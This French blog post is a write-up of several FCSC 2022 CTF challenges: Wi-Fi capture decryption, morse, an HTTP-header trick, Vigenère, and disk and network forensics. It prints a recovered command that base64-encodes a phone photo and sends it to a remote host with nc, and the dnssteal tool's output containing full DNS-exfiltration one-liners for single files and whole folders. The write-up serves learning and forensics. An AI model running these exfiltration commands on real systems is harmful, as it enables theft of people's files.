FCSC 2022 - WriteUp


Temps de lecture : 13 minutes, 51 secondes | 501 vues

Cette année, j'ai décidé de prendre un peu de temps pour me coller à quelques petits challenges du FCSC 2022, le CTF jeopardy organisé par l'Agence nationale de la sécurité des systèmes d'information (ANSSI).

Pour ceux qui n'ont jamais entendu parlé de cet événement annuel, il est surtout organisé afin de propulser des équipes françaises à son équivalent Européen, l'ECSC et mettre en avant les talents cyber français. Les meilleurs compétiteurs sont retenus pour passer des entretiens et sont à la suite coachés pour participer à l'ECSC. De mon côté, j'ai surtout participé pour le fun. Voici mes quelques write-up :

Catégorie intro

Wi-Fi

Saurez-vous déchiffrer cette capture Wi-Fi ?

Le mot de passe du réseau est `FCSC p0w3r is the answer`.

SHA256(`intro-wifi.pcap.xz`) = `ef484cf1bde9f6f57fe606ed4e259a585f5b5c023acbdf567d712c31a2396f7c`.

 Files : 
 - [intro-wifi.pcap.xz](./intro-wifi.pcap.xz)

Nous avons ici une capture réseau avec des trames Wi-Fi :

wifi1

Je fais quelques recherches pour voir comment déchiffrer les trames de données dans ce cas de figure et c'est parti :

wifi2

On retrouve parmis les flux, des échanges HTTP et le flag qui va avec :

wifi3

Baby morse

Dites `FLAG` et vous l'aurez.

`nc challenges.france-cybersecurity-challenge.fr 2250`

Le programme nous demande de lui envoyer FLAG en morse pour l'obtenir :

root@kali:/media/fcsc# nc challenges.france-cybersecurity-challenge.fr 2250
--.- ..- . ...- --- ..- .-.. . --.. ...- --- ..- ...  -> QUEVOULEZVOUS en Morse
>>> ..-. .-.. .- --.  -> FLAG en Morse
Bien joué, le flag est :
FCSC{de8b4af784cd394ecc305979ffa124a112a18046037b42c94e4e85216180847e}

Header

Pour cette épreuve, vous devrez vous pencher sur une fonctionnalité essentielle du protocole HTTP.

https://header.france-cybersecurity-challenge.fr/

On arrive sur cette page web :

header1

Dans la section /source du site, on trouve le code Javascript suivant qui nous indique comment accéder au flag :

const fs = require('fs');
const express = require('express');
const escape = require('escape-html')
var favicon = require('serve-favicon');
const app = express();

app.use(favicon('favicon.ico'));
app.set('view engine', 'ejs');
app.use(express.static('public'));

app.get('/', async (req, res) => {
    var verif = req.header("X-FCSC-2022");
    if (verif == "Can I get a flag, please?") {
        var flag = fs.readFileSync("flag.txt");
        res.status(200);
        res.render("pages/index", {
            type: "success",
            msg: "Here it is: " + flag,
        });
        return res.end();
    } else {
        res.status(200);
        res.render("pages/index", {
            type: "warning",
            msg: "No flag for you. Want a meme instead?",
        });
        return res.end();
    }
});

app.get('/source', async (req, res) => {
    const source = fs.readFileSync(__filename);
    res.render("pages/source", {
        source: escape(source),
    });
    return res.end();
});

app.listen(2150);

On comprend que l'on doit alors ajouter un header HTTP spécifique dans notre requête pour obtenir le flag, c'est parti :

python3
>>> r=requests.get("https://header.france-cybersecurity-challenge.fr/",headers={"X-FCSC-2022":"Can I get a flag, please?"})
>>> print(r.text)

Le site web nous retourne bien la page contenant le flag :

<html>
<head>
  <meta charset="UTF-8">
<title>Header</title>
<link rel="stylesheet" href="/bootstrap.css" />
<link rel="stylesheet" href="/style.css" />
<link rel="stylesheet" href="/prism.css" />

</head>
<body>
  <nav class="navbar navbar-expand-lg navbar-dark bg-primary fixed-top">
  <a class="navbar-brand" href="/">Header</a>
  <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarColor01" aria-controls="navbarColor01" aria-expanded="false" aria-label="Toggle navigation">
    <span class="navbar-toggler-icon"></span>
  </button>
  <div class="collapse navbar-collapse" id="navbarColor01">
    <ul class="navbar-nav">
      <li class="nav-item">
        <a class="nav-link" href="/source">Source</a>
      </li>
    </ul>
    <br/>
  </div>
</nav>

  <div class="container">
    <div class="starter-template">
      <div id="alert" class="alert alert-success">
        <strong>Here it is: FCSC{9ec57a4a72617c4812002726750749dd193d5fbbfeef54a27a9b536f00d89dfb}</strong>
      </div>
      <img src="meme.jpeg" class="img-fluid" />
    </div>
  </div>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.27.0/prism.min.js" integrity="sha512-/Swpp6aCQ0smuZ+zpklJqMClcUlvxhpLf9aAcM7JjJrj2waCU4dikm3biOtMVAflOOeniW9qzaNXNrbOAOWFCw==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js" integrity="sha512-894YE6QWD5I59HgZOGReFYm4dnWc1Qt5NtvYSaNcOP+u1T9qYdvdihz0PPSiiqn/+/3e7Jo4EaG7TubfWGUrMQ==" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/2.9.1/umd/popper.min.js" integrity="sha512-g2PN+aYR0KupTVwea5Ppqw4bxWLLypWdd+h7E0ydT8zF+/Y2Qpk8Y1SnzVw6ZCVJPrgB/91s3VfhVhP7Y4+ucw==" crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.6.0/js/bootstrap.min.js" integrity="sha512-XKa9Hemdy1Ui3KSGgJdgMyYlUg1gM+QhL6cnlyTe2qzMCYm4nAZ1PsVerQzTTXzonUR+dmswHqgJPuwCq1MaAg==" crossorigin="anonymous"></script>

</body>
</html>

A l'aise

Cette épreuve vous propose de déchiffrer un message chiffré avec la méthode inventée par Blaise de Vigénère.

La clé est `FCSC` et le message chiffré :

Gqfltwj emgj clgfv ! Aqltj rjqhjsksg ekxuaqs, ua xtwk
n'feuguvwb gkwp xwj, ujts f'npxkqvjgw nw tjuwcz
ugwygjtfkf qz uw efezg sqk gspwonu. Jgsfwb-aqmu f
Pspygk nj 29 cntnn hqzt dg igtwy fw xtvjg rkkunqf.

Le flag est le nom de la ville mentionnée dans ce message.

> **Attention, vous n'avez le droit qu'à 3 tentatives !**

On va de suite tenter de déchiffrer le texte via la méthode du chiffre de Vigenère et la clé fournie via le fabuleux CyberChef :

Bonjour cher agent ! Votre prochaine mission, si vous
l'acceptez bien sur, sera d'infiltrer le reseau
souterrain ou se cache nos ennemis. Rendez-vous a
Nantes le 29 avril pour le debut de votre mission.

Le flag est donc FCSC{Nantes}

Echec OP 0/3

Quel est l'identifiant unique (UUID) de la table de partition de ce disque ?
Une fois que vous l'aurez trouvé, encadrez le dans `FCSC{}` pour obtenir le flag.
Par exemple `FCSC{1111-2222-3333-4444}`.

* SHA256(`fcsc.7z`) = `fe23478be033fb87db95313650619d95a3756d90d272e82887d70936c7700f5c` (5.4GB).
* SHA256(`fcsc.raw`) = `18b33658c9fc8e81666f04999bd38cb6709c6a7399d8a43a72028caa278067bf` (10GB).

> Note : le fichier `fcsc.7z` est le même pour tous les challenges `Echec OP`.

Forensic is coming, ici on a un disque à pré-analyser. Je trouve l'outil qui fait l'affaire :

root@kali:~/Downloads/9d682b80964f6f01588df5bbd5406108-java# blkid /root/Desktop/fcsc/fcsc.raw 
/root/Desktop/fcsc/fcsc.raw: PTUUID="60da4a85-6f6f-4043-8a38-0ab83853e6dc" PTTYPE="gpt"

Le flag est donc : FCSC{60da4a85-6f6f-4043-8a38-0ab83853e6dc}

Catégorie forensic

Echec OP 1/3

L'administrateur de ce serveur a chiffré son disque, le mot de passe est `fcsc2022`.

Quelle est la date de la création du système de fichiers en `UTC` ?

Le flag est au format `ISO 8601`, tel que dans l'exemple suivant : `FCSC{2022-04-22T06:59:59Z}`.

On sait que le disque fourni est chiffré mais on ne connait ni le système d'exploitation installé, ni le système de chiffrement. On commence donc par visualiser la table des partitions du disque :

root@kali:~/Desktop/fcsc# fdisk -l -u fcsc.raw
Disk fcsc.raw: 10 GiB, 10737418240 bytes, 20971520 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 60DA4A85-6F6F-4043-8A38-0AB83853E6DC

Device       Start      End  Sectors  Size Type
fcsc.raw1     2048     4095     2048    1M BIOS boot
fcsc.raw2     4096  1861631  1857536  907M Linux filesystem
fcsc.raw3  1861632 20969471 19107840  9,1G Linux filesystem

On connecte virtuellement le disque à notre machine Kali :

root@kali:~/Desktop/fcsc# kpartx -a -v fcsc.raw 
add map loop0p1 (254:0): 0 2048 linear 7:0 2048
add map loop0p2 (254:1): 0 1857536 linear 7:0 4096
add map loop0p3 (254:2): 0 19107840 linear 7:0 1861632

On saisie la clé de chiffrement fournie dans l'énoncé, on monte le disque sur notre système de fichiers puis on vérifie qu'on a bien une arborescence Linux classique :

root@kali:~/Desktop/fcsc# mkdir /media/fcsc/ && mount /dev/ubuntu-vg/ubuntu-lv /media/fcsc/
root@kali:~/Desktop/fcsc# ls -ltha /media/fcsc
total 1,7G
drwxr-x---+   7 root root 4,0K avril 30 06:47 ..
drwxrwxrwt    9 root root 4,0K mars  27 17:51 tmp
drwxr-xr-x  100 root root 4,0K mars  27 17:39 etc
drwx------    4 root root 4,0K mars  27 00:14 root
drwxr-xr-x   14 root root 4,0K mars  27 00:13 var
drwxr-xr-x    3 root root 4,0K mars  26 23:49 home
drwxr-xr-x   19 root root 4,0K mars  26 23:47 .
-rw-------    1 root root 1,7G mars  26 23:45 swap.img
drwxr-xr-x    2 root root 4,0K mars  26 23:44 boot
drwx------    2 root root  16K mars  26 23:44 lost+found
drwxr-xr-x   11 root root 4,0K févr. 23 03:57 run
drwxr-xr-x    6 root root 4,0K févr. 23 03:57 snap
drwxr-xr-x    5 root root 4,0K févr. 23 03:54 dev
drwxr-xr-x   14 root root 4,0K févr. 23 03:53 usr
drwxr-xr-x    2 root root 4,0K févr. 23 03:50 media
drwxr-xr-x    2 root root 4,0K févr. 23 03:50 mnt
drwxr-xr-x    2 root root 4,0K févr. 23 03:50 opt
drwxr-xr-x    2 root root 4,0K févr. 23 03:50 srv
lrwxrwxrwx    1 root root    7 févr. 23 03:49 bin -> usr/bin
lrwxrwxrwx    1 root root    7 févr. 23 03:49 lib -> usr/lib
lrwxrwxrwx    1 root root    9 févr. 23 03:49 lib32 -> usr/lib32
lrwxrwxrwx    1 root root    9 févr. 23 03:49 lib64 -> usr/lib64
lrwxrwxrwx    1 root root   10 févr. 23 03:49 libx32 -> usr/libx32
lrwxrwxrwx    1 root root    8 févr. 23 03:49 sbin -> usr/sbin
drwxr-xr-x    2 root root 4,0K avril 15  2020 proc
drwxr-xr-x    2 root root 4,0K avril 15  2020 sys

Suite à quelques recherches, j'ai trouvé l'outil qu'il me fallait (tune2fs) pour obtenir la date de création du filesystem (et aussi des infos génériques assez intéressantes). Après avoir un peu tatonné, j'ai vu qu'on pouvait modifier la timezone en variable d'environnement, en l'occurence utilisée par certains binaires en préfixant sa commande par TZ=UTC :

root@kali:~/Desktop/fcsc# TZ=UTC tune2fs -l /dev/mapper/ubuntu--vg-ubuntu--lv 
tune2fs 1.45.6 (20-Mar-2020)
Filesystem volume name:   <none>
Last mounted on:          /media/root/20e4352b-6b51-4a6c-91ec-a0c76bfdea06
Filesystem UUID:          20e4352b-6b51-4a6c-91ec-a0c76bfdea06
Filesystem magic number:  0xEF53
Filesystem revision #:    1 (dynamic)
Filesystem features:      has_journal ext_attr resize_inode dir_index filetype needs_recovery extent 64bit flex_bg sparse_super large_file huge_file dir_nlink extra_isize metadata_csum
Filesystem flags:         signed_directory_hash 
Default mount options:    user_xattr acl
Filesystem state:         clean
Errors behavior:          Continue
Filesystem OS type:       Linux
Inode count:              596848
Block count:              2383872
Reserved block count:     119193
Free blocks:              1244216
Free inodes:              514896
First block:              0
Block size:               4096
Fragment size:            4096
Group descriptor size:    64
Reserved GDT blocks:      1024
Blocks per group:         32768
Fragments per group:      32768
Inodes per group:         8176
Inode blocks per group:   511
Flex block group size:    16
Filesystem created:       Sun Mar 27 03:44:49 2022
Last mount time:          Sat Apr 30 10:47:31 2022
Last write time:          Sat Apr 30 10:47:31 2022
Mount count:              11
Maximum mount count:      -1
Last checked:             Sun Mar 27 03:44:49 2022
Check interval:           0 (<none>)
Lifetime writes:          11 GB
Reserved blocks uid:      0 (user root)
Reserved blocks gid:      0 (group root)
First inode:              11
Inode size:           256
Required extra isize:     32
Desired extra isize:      32
Journal inode:            8
Default directory hash:   half_md4
Directory Hash Seed:      997a6484-569a-4ff3-b774-720f4ee5c988
Journal backup:           inode blocks
Checksum type:            crc32c
Checksum:                 0xaba9555d

Nous avons donc le timestamp souhaité en texte suivant : Sun Mar 27 03:44:49 2022. Une fois converti (via cet outil), on obtient le flag suivant : FCSC{2022-03-27T03:44:49Z}.

Echec OP 2/3

Retrouvez le mot de passe de l'utilisateur principal de ce serveur.
La force ne résout pas tout...
Le mot de passe correspond au flag, entouré de `FCSC{}`, par exemple : `FCSC{password}`.
Aussi, l'administrateur de ce serveur a chiffré son disque et le mot de passe est `fcsc2022`.

Nous avons désormais le système de fichier du disque monté sur notre machine, on peut donc facilement lire le fichier /etc/shadow qui contient la base des comptes et surtout les hash des mots de passe associés :

root@kali:/media/root/20e4352b-6b51-4a6c-91ec-a0c76bfdea06# cat etc/shadow
root:*:19046:0:99999:7:::
daemon:*:19046:0:99999:7:::
bin:*:19046:0:99999:7:::
sys:*:19046:0:99999:7:::
sync:*:19046:0:99999:7:::
games:*:19046:0:99999:7:::
man:*:19046:0:99999:7:::
lp:*:19046:0:99999:7:::
mail:*:19046:0:99999:7:::
news:*:19046:0:99999:7:::
uucp:*:19046:0:99999:7:::
proxy:*:19046:0:99999:7:::
www-data:*:19046:0:99999:7:::
backup:*:19046:0:99999:7:::
list:*:19046:0:99999:7:::
irc:*:19046:0:99999:7:::
gnats:*:19046:0:99999:7:::
nobody:*:19046:0:99999:7:::
systemd-network:*:19046:0:99999:7:::
systemd-resolve:*:19046:0:99999:7:::
systemd-timesync:*:19046:0:99999:7:::
messagebus:*:19046:0:99999:7:::
syslog:*:19046:0:99999:7:::
_apt:*:19046:0:99999:7:::
tss:*:19046:0:99999:7:::
uuidd:*:19046:0:99999:7:::
tcpdump:*:19046:0:99999:7:::
landscape:*:19046:0:99999:7:::
pollinate:*:19046:0:99999:7:::
usbmux:*:19078:0:99999:7:::
sshd:*:19078:0:99999:7:::
systemd-coredump:!!:19077::::::
obob:$6$cvD51kQkFtMohr9Q$vE2L5CUX3jDZgVUZGOFNUFsSHGomH/EP5yYQA3dcKMm9U00mvA9pLzo7Z.Ki6exchu29jEENxtBdGUXCISNxL0:19078:0:99999:7:::
lxd:!:19078::::::

On nous prévient dans l'énoncé de manière imagée que le bruteforce du hash n'est pas la bonne solution, j'ai donc été cherché du côté des répertoires /home et /root où j'ai parcouru les fichiers les plus croustillants pour trouver l'info et bingo, l'historique bash de root contenait le mot de passe :

root@kali:/media/root/20e4352b-6b51-4a6c-91ec-a0c76bfdea06# cat root/.bash_history 
exit
passwd obob 
CZSITvQm2MBT+n1nxgghCJ
exit

On obient le flag : FCSC{CZSITvQm2MBT+n1nxgghCJ}

C3PO

Pour votre première analyse, on vous confie le téléphone du PDG de _GoodCorp_.

Ce dernier est certain que les précieuses photos stockées sur son téléphone sont récupérées par un acteur malveillant.

Vous décidez de mettre en place une capture réseau sur le téléphone, afin de voir ce qu'il en est...

SHA256(`capture.cap`) = `7b63c22567098f829dfdc190b6f531bbdf23a23e222508752a0a5e5dfa28259c` (61Mo).

Qui dit capture réseau, dit forcément Wireshark. Etant donné qu'il y avait pas mal de flux dans cette capture, j'ai utilisé les fonctionnalités de statistiques suivantes :

  • Adresses résolues : pour les adresses MAC cela donne le nom du fournisseur matériel et les noms DNS associés aux IP
  • Hiérarchie des protocoles
  • Conversations : fourni un résumé des connexions réseau avec le volume de données, la durée, etc

Dans les conversations, mon oeil a été attiré par des connexions TCP en destination de l'IP 172.18.0.1:1337 car le port est souvent utilisé pour des reverse-shell et est peu commun pour du trafic légitime. Et là, je me suis complètement égaré, je m'explique :

  • J'ai extrait toutes les DATA de ces connexions TCP via tshark et ai utilisé binwalk pour en extraire des fichiers intéressants
  • Cela m'a permis de reconstituer après plusieurs étapes, une application Android au format .APK et le code source .JAVA associé
  • J'ai passé un temps fou à analyser le code via des outils en ligne et grep........... pour rien (utile pour un autre challenge?)

Parenthèse fermée, recul pris, je jète à nouveau un oeil aux conversations dans Wireshark et je vois que d'autres connexions vers cette IP ont été initiées à destination du port 1338, pas très commun non plus :

c3po

J'extrais de la même manière les DATA échangées dans lors des connexions TCP et passe un xdd pour convertir d'Hexadécimal à ASCII :

root@kali:~/Desktop/fcsc# tshark -2 -r capture.cap -R "tcp.port == 1338 and tcp.payload" -T fields -e tcp.payload > data.txt 
root@kali:~/Desktop/fcsc# xxd -r -p data.txt output
root@kali:~/Desktop/fcsc# cat output 
cat /sdcard/DCIM/flag.png | base64 | nc 172.18.0.1 1338
...
Un gros bloc base64
...

Je passe tout le bloc en base64 obtenu précédemment dans Cyberchef et j'exporte le résultat dans un fichier. J'obtiens cette jolie photo avec le flag :

card

À l'ancienne

Vous devez récupérer et analyser les données échangées dans cette capture.
On préfère prévenir, avant de paniquer, il va falloir se décontracter et décompresser pour faire ça tranquillement.

SHA256(`cap`) = `27117fc9487e8ca1a54f7d6a55f39b3223153451a8df41bb02488c2a99dbf059`.

Nous avons ici une nouvelle capture réseau et des indices non négligables dans l'énoncé :

ancienne1

On retrouve essentiellement des requêtes DNS de type A et les réponses associées. C'est assez flagrant, je remarque de suite qu'il s'agit d'une exfiltration de données via DNS au vu des requêtes. Le principe est simple, il consiste à découper les fichiers à exfiltrer, les encoder sous un format choisi et composer des requêtes DNS en respectant la taille maximalee. Le serveur de l'attaquant écoute sur le port 53 et recompose les fichiers selon la méthode définie.

J'ai d'abord fait l'erreur de vouloir recomposer les données avec un script maison mais cela m'a permis de voir que les fichiers étaient compressés en .GZ avant d'être envoyés à travers DNS. J'ai ensuite cherché l'outil (et surtout le code associé) qui a permis l'exfiltration. Après quelques recherches, j'en ai conclu qu'il s'agissait de dnssteal, au vu du format de compression (GZ) et de l'encodage des données (b64). J'ai également noté que le TLD correspondait au nom du fichier lié à la requête et que 5 fichiers avaient donc été exfiltrés (file1, file2, file3, file4 & passwd)

J'ai donc décidé de faire tourner d'un côté un script qui rejoue les requêtes DNS trouvées dans la capture réseau en destination du port 53 de ma VM et d'un autre côté, le script dnssteal.py en écoute.

root@kali:~/Desktop/fcsc/ancienne# tshark -n -2 -r cap -R "dns.flags == 0x0120" -T fields -e dns.qry.name >> queries.txt

# Le script python exécuté d'un côté: 

import dnspython as dns
import dns.resolver
dns.resolver.default_resolver = dns.resolver.Resolver(configure=False)
my_resolver = dns.resolver.Resolver()
dns.resolver.default_resolver.nameservers = ['127.0.0.1']
with open('queries.txt','r') as f:
  queries = f.readlines()
  for query in queries:
    query=query.strip()
    result = dns.resolver.query(query, 'A')

# DNS Steal exécuté de l'autre:

root@kali:~/Desktop/fcsc/ancienne# python steal.py 127.0.0.1 -z

      ___  _  _ ___ _            _ 
     |   \| \| / __| |_ ___ __ _| |
     | |) | .` \__ \  _/ -_) _` | |
     |___/|_|\_|___/\__\___\__,_|_|v2.0

-- https://github.com/m57/dnsteal.git --

Stealthy file extraction via DNS requests

[+] DNS listening on '127.0.0.1:53'
[+] On the victim machine, use any of the following commands:
[+] Remember to set filename for individual file transfer.

[?] Copy individual file (ZIP enabled)
  # f=file.txt; s=4;b=57;c=0; for r in $(for i in $(gzip -c $f| base64 -w0 | sed "s/.\{$b\}/&\n/g");do if [[ "$c" -lt "$s"  ]]; then echo -ne "$i-."; c=$(($c+1)); else echo -ne "\n$i-."; c=1; fi; done ); do dig @127.0.0.1 `echo -ne $r$f|tr "+" "*"` +short; done 

[?] Copy entire folder (ZIP enabled)
  # for f in $(ls .); do s=4;b=57;c=0; for r in $(for i in $(gzip -c $f| base64 -w0 | sed "s/.\{$b\}/&\n/g");do if [[ "$c" -lt "$s"  ]]; then echo -ne "$i-."; c=$(($c+1)); else echo -ne "\n$i-."; c=1; fi; done ); do dig @127.0.0.1 `echo -ne $r$f|tr "+" "*"` +short; done ; done

[+] Once files have sent, use Ctrl+C to exit and save.

[Info] Saving recieved bytes to './recieved_2022-05-06_19-20-01_ZmlsZTE='
[md5sum] '1a33190a6d655450033ed46f4c5e73b2'

[Info] Saving recieved bytes to './recieved_2022-05-06_19-20-01_ZmlsZTM='
[md5sum] '9f999d1372bd23a3d64635d1b94928df'

[Info] Saving recieved bytes to './recieved_2022-05-06_19-20-01_ZmlsZTI='
[md5sum] '76dd5a79ecb0220ff41950117d8abaf1'

[Info] Saving recieved bytes to './recieved_2022-05-06_19-20-01_ZmlsZTQ='
[md5sum] '07d3cab8413d44e67294d2ada119dd54'

[Info] Saving recieved bytes to './recieved_2022-05-06_19-20-01_cGFzc3dk'
[md5sum] '6bf30fae07c9d0c11ebb8c18680c631c'

root@kali:~/Desktop/fcsc/ancienne# file recieved_2022-05-06_19-20-01_*
recieved_2022-05-06_19-20-01_cGFzc3dk: ASCII text
recieved_2022-05-06_19-20-01_ZmlsZTE=: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1667x1667, components 3
recieved_2022-05-06_19-20-01_ZmlsZTI=: JPEG image data, baseline, precision 8, 181x66, components 4
recieved_2022-05-06_19-20-01_ZmlsZTM=: PNG image data, 80 x 80, 8-bit/color RGBA, non-interlaced
recieved_2022-05-06_19-20-01_ZmlsZTQ=: Microsoft Word 2007+

Parmis les fichiers extraits, on trouvait quelques images et un fichier .doc/.docx, qui contenait le flag :

ancienne2

Conclusion

J'ai trouvé les quelques challenges sur lesquels j'ai travaillé très fun ! Ca tombe bien, c'est exactement ce que je cherchais. J'ai également pu résoudre un petit challenge web mais via un outil automatisé, ce qui était interdit/fortement déconseillé pour l'apprentissage et m'en suis rendu compte après coup...

Un grand merci à l'équipe d'orga de l'ANSSI pour les challenges, l'animation du Discord et l'événement en général, à l'année prochaine pour de nouvelles aventures sur le FCSC !

Ajouter un commentaire


Commentaires




Wed, 11 May 2022 23:09:10 - Par peron : Bonsoir, Je n'arrive pas à reproduire le protocole décrit pour le challenge "a l'ancienne". Votre script python me donne : "Server 127.0.0.1 UDP port 53 answered The DNS operation timed out." Et la commande "dnssteal.py" donne : "[Error] Cannot bind to address 127.0.0.1:53" Cordialement, phileas


Article précédent